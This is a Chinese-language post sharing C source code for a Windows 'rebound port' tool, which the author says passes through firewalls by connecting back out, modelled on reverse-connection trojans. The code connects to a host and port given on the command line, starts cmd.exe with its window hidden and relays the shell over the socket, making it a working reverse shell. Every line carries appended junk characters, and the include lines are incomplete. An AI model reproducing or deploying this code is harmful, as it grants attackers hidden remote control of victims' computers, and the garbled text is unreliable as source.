这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 !l!^`c
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/* ============================== tX)l$oRPr
Rebound port in Windows NT b6%T[B B
By wind,2006/7 iR
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===============================*/ a86m?)-c
#include /MHqt=jP6
#include Am=D kkP%
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#pragma comment(lib,"wsock32.lib") |/K+tH
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void OutputShell(); <1#v}epD#
SOCKET sClient; 1.WdxMpW9
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ;!U`GN,tH
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void main(int argc,char **argv) O H~X~n-Z
{ Oq~>P!=
WSADATA stWsaData; &Npv~Iy
int nRet; W70J2
SOCKADDR_IN stSaiClient,stSaiServer; #q. Q tDz
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if(argc != 3) BEM_y:#
{ OMG.64DX .
printf("Useage:\n\rRebound DestIP DestPort\n"); p-n_
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return; .-[uQtyWW
} D)z'FOaI
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WSAStartup(MAKEWORD(2,2),&stWsaData); [oN}zZP]
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ]UyIp`nV;
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stSaiClient.sin_family = AF_INET; l/[0N@r~
stSaiClient.sin_port = htons(0); %jEdgD%xV
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); }5dYmny
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ^L}fj$
{ "(j.:jayd
printf("Bind Socket Failed!\n"); <]I[|4J 7
return; -Si'[5@
} UKyOkuY:w
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stSaiServer.sin_family = AF_INET; <-uE pF
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); v|acKux=t
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); C$`z23E
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) b}'XDw
{ Qj(q)!Ku
printf("Connect Error!"); "'p;Udt/Qm
return; oj*5m+:>a
} *k'D%}N:
OutputShell(); <%klrQya
} NikY0=i
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void OutputShell() %Y8#I3jVJ
{ y05(/NH>
char szBuff[1024]; F`,XB[}2
SECURITY_ATTRIBUTES stSecurityAttributes; 4"72
OSVERSIONINFO stOsversionInfo; 5sui*WH
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 7m0sF<P{g
STARTUPINFO stStartupInfo; YGrmco?G
char *szShell; +
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PROCESS_INFORMATION stProcessInformation; %.,-dV'
unsigned long lBytesRead; J^[>F{8!n
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ,^,KWi9
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Rb=T'x'
stSecurityAttributes.lpSecurityDescriptor = 0; [O*5\&6
stSecurityAttributes.bInheritHandle = TRUE; FEgM4m.(G<
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); O--
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); aWhhq@
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); gaBt;@?:Q
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %lPAq
stStartupInfo.wShowWindow = SW_HIDE; _YzItge*
stStartupInfo.hStdInput = hReadPipe; HHu|X`tc
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; "R@N}q<*v2
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GetVersionEx(&stOsversionInfo); :9H=D^J
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switch(stOsversionInfo.dwPlatformId) 88~BE ^
{ fk-zT
case 1: W6f?/{Oo8
szShell = "command.com"; [*zB
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break; HFYN(nz}[
default: qPsf`nI7
szShell = "cmd.exe"; YCod\} 3
break; >0kn&pe7#T
} y7aBF13Kl
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 1(0LX^%
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send(sClient,szMsg,77,0); I3uS?c
while(1) dr3#?%
{ 5{cbcuG
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); <i34;`)b
if(lBytesRead) B3[;}8u>
{ PR?Ls{}p\
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); %rVC3}
send(sClient,szBuff,lBytesRead,0); V&82U w
} q9rY++Tv
else 3]DUUXg$
{ Wr"-~PP
lBytesRead=recv(sClient,szBuff,1024,0); fsqK(io28
if(lBytesRead<=0) break; b||
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WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); bmN'{09@
} dWV.5cViP
} !mhV$2&r
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return; Wk w.z
}